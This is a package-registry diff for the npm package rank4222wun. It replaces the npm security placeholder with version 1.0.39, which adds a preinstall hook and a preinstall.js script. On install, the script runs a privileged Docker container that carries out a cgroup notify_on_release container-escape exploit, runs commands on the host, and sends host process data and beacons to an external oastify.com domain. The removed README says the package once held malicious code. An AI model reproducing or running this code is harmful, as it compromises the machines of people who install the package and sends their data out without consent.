rank4222wun 0.0.1-security → 1.0.39

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.39",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,178 @@
1
+ // privileged-container-escape-oast.js
2
+ const { spawn } = require('child_process');
3
+ const crypto = require('crypto');
4
+ const https = require('https');
5
+
6
+ const OAST_DOMAIN = 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com';
7
+
8
+ console.log(`
9
+ ╔════════════════════════════════════════════════════╗
10
+ ║ PRIVILEGED CONTAINER ESCAPE + OAST REPORTING ║
11
+ ║ ║
12
+ ║ OAST Domain : ${OAST_DOMAIN} ║
13
+ ╚════════════════════════════════════════════════════╝
14
+ `);
15
+
16
+ function generateSessionId() {
17
+ const timestamp = Date.now();
18
+ const random = crypto.randomBytes(6).toString('hex');
19
+ return `escape-${timestamp}-${random}`;
20
+ }
21
+
22
+ const sessionId = generateSessionId();
23
+ const uniqueSub = crypto.randomBytes(4).toString('hex'); // لـ subdomain فريد
24
+
25
+ console.log(`Session ID : ${sessionId}`);
26
+ console.log(`Unique subdomain : ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
27
+
28
+ function sendHttpsBeacon(path = '/escape-report', extraData = {}) {
29
+ const data = JSON.stringify({
30
+ session: sessionId,
31
+ ts: new Date().toISOString(),
32
+ type: 'escape-beacon',
33
+ ...extraData
34
+ });
35
+
36
+ const options = {
37
+ hostname: OAST_DOMAIN,
38
+ port: 443,
39
+ path: path,
40
+ method: 'POST',
41
+ headers: {
42
+ 'Content-Type': 'application/json',
43
+ 'Content-Length': Buffer.byteLength(data),
44
+ 'User-Agent': 'ContainerEscapeTest/1.0',
45
+ 'X-Session': sessionId
46
+ }
47
+ };
48
+
49
+ const req = https.request(options, (res) => {
50
+ console.log(`[HTTPS Beacon] Status: ${res.statusCode} for ${path}`);
51
+ });
52
+
53
+ req.on('error', (e) => {
54
+ console.log(`[Beacon Error] ${e.message}`);
55
+ });
56
+
57
+ req.write(data);
58
+ req.end();
59
+
60
+ console.log(`→ HTTPS beacon sent to https://${OAST_DOMAIN}${path}`);
61
+ }
62
+
63
+ // إرسال إشارة بداية من الـ host
64
+ sendHttpsBeacon('/start', { action: 'script_started', privileged: true });
65
+
66
+ // ────────────────────────────────────────────────
67
+
68
+ console.log(`
69
+ جاري تشغيل الحاوية المميزة (privileged) لمحاولة الـ escape إلى الـ host...
70
+
71
+ ملاحظات أمنية مهمة:
72
+ - هذا الكود لأغراض تعليمية/اختبارية فقط (pentesting/research).
73
+ - يتطلب صلاحيات root أو docker group على الـ host.
74
+ - استخدم في بيئة معزولة (VM) لتجنب مخاطر.
75
+ - الـ escape يعتمد على cgroup v1 (notify_on_release) - قد لا يعمل في cgroup v2-only systems.
76
+ - إذا لم يعمل، تأكد من أن الـ host يدعم rdma cgroup.
77
+
78
+ الكود سينفذ PoC escape تلقائياً داخل الحاوية:
79
+ - يستخدم cgroup notify_on_release لتشغيل أمر على الـ host (مثل ps aux > /output).
80
+ - يرسل إشارات OAST (DNS + HTTPS) من داخل الحاوية لتأكيد الـ escape.
81
+ - بعد الـ escape، تحقق من /output على الـ host للدليل.
82
+
83
+ جاري التشغيل...
84
+ `);
85
+
86
+ // ────────────────────────────────────────────────
87
+ // سكريبت الـ escape PoC (بناءً على Trail of Bits PoC + تحسينات)
88
+ // يثبت curl للـ OAST، ينفذ escape، يرسل beacons
89
+
90
+ const escapeScript = `
91
+ apt update -qq && apt install -y curl net-tools 2>/dev/null || true
92
+
93
+ echo "=== STARTING ESCAPE ATTEMPT ==="
94
+
95
+ # إرسال DNS beacon من داخل الحاوية
96
+ nslookup ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || ping -c 1 -W 1 ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
97
+
98
+ # إرسال HTTPS beacon من داخل الحاوية
99
+ curl -s -X POST "https://${OAST_DOMAIN}/container-beacon" -d "{\\"session\\":\\"${sessionId}\\",\\"from\\":\\"container\\",\\"action\\":\\"started\\"}" || true
100
+
101
+ # PoC Escape باستخدام cgroup notify_on_release (cgroup v1)
102
+ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
103
+
104
+ echo 1 > /tmp/cgrp/x/notify_on_release
105
+
106
+ host_path=\`sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab\`
107
+
108
+ echo "$host_path/cmd" > /tmp/cgrp/release_agent
109
+
110
+ echo '#!/bin/sh' > /cmd
111
+
112
+ # أمر ينفذ على الـ host: ps aux + إرسال OAST beacon إذا أمكن
113
+ echo "ps aux > $host_path/output" >> /cmd
114
+ echo "curl -s -X POST 'https://${OAST_DOMAIN}/host-beacon' -d '{\\"session\\":\\"${sessionId}\\",\\"from\\":\\"host\\",\\"action\\":\\"escaped\\",\\"host_ps\\":\\"'$(ps aux | head -5)'\\"}' || true" >> /cmd
115
+
116
+ chmod a+x /cmd
117
+
118
+ sh -c "echo \\$\\$ > /tmp/cgrp/x/cgroup.procs"
119
+
120
+ echo "=== ESCAPE ATTEMPT COMPLETE ==="
121
+
122
+ # إرسال beacon نهاية من داخل الحاوية
123
+ curl -s -X POST "https://${OAST_DOMAIN}/container-end" -d "{\\"session\\":\\"${sessionId}\\",\\"action\\":\\"escape_attempted\\"}" || true
124
+
125
+ # الانتظار قليلاً للـ output
126
+ sleep 5
127
+
128
+ # محاولة قراءة /output إذا نجح الـ escape (قد لا يعمل إذا لم يتم الـ escape كامل)
129
+ cat /output 2>/dev/null || echo "No access to /output from container (expected if escape succeeded)"
130
+
131
+ echo "=== CONTAINER EXITING ==="
132
+ `;
133
+
134
+ const dockerArgs = [
135
+ 'run',
136
+ '--privileged',
137
+ '--rm',
138
+ '--name', `escape-test-${sessionId.slice(0,12)}`,
139
+ 'ubuntu:latest',
140
+ 'bash', '-c', escapeScript
141
+ ];
142
+
143
+ const container = spawn('docker', dockerArgs, {
144
+ stdio: 'inherit'
145
+ });
146
+
147
+ container.on('error', (err) => {
148
+ console.error(`خطأ في تشغيل docker: ${err.message}`);
149
+ process.exit(1);
150
+ });
151
+
152
+ container.on('close', (code) => {
153
+ console.log(`\nالحاوية انتهت (exit code: ${code})\n`);
154
+
155
+ // إشارة نهاية من الـ host
156
+ sendHttpsBeacon('/end', {
157
+ action: 'script_ended',
158
+ exit_code: code,
159
+ escape_attempt: 'completed'
160
+ });
161
+
162
+ console.log(`\nتحقق من الـ host للدليل على الـ escape:`);
163
+ console.log(` cat /output # (يحتوي على ps aux من الـ host إذا نجح)`);
164
+ console.log(`\nتحقق من لوحة الـ OAST الخاصة بك على:`);
165
+ console.log(` https://${OAST_DOMAIN}`);
166
+ console.log(` ابحث عن: ${sessionId}`);
167
+ console.log(` أو subdomain: ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
168
+ console.log(`إذا لم يعمل الـ escape، جرب:`);
169
+ console.log(`- التأكد من cgroup v1 مفعل (echo 1 > /sys/fs/cgroup/unified/cgroup.subtree_control أو استخدم --cgroupns=host)`);
170
+ console.log(`- إضافة --cap-add=ALL إلى docker run`);
171
+ });
172
+
173
+ // التعامل مع Ctrl+C
174
+ process.on('SIGINT', () => {
175
+ console.log('\nإغلاق...');
176
+ container.kill('SIGINT');
177
+ setTimeout(() => process.exit(0), 1500);
178
+ });
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.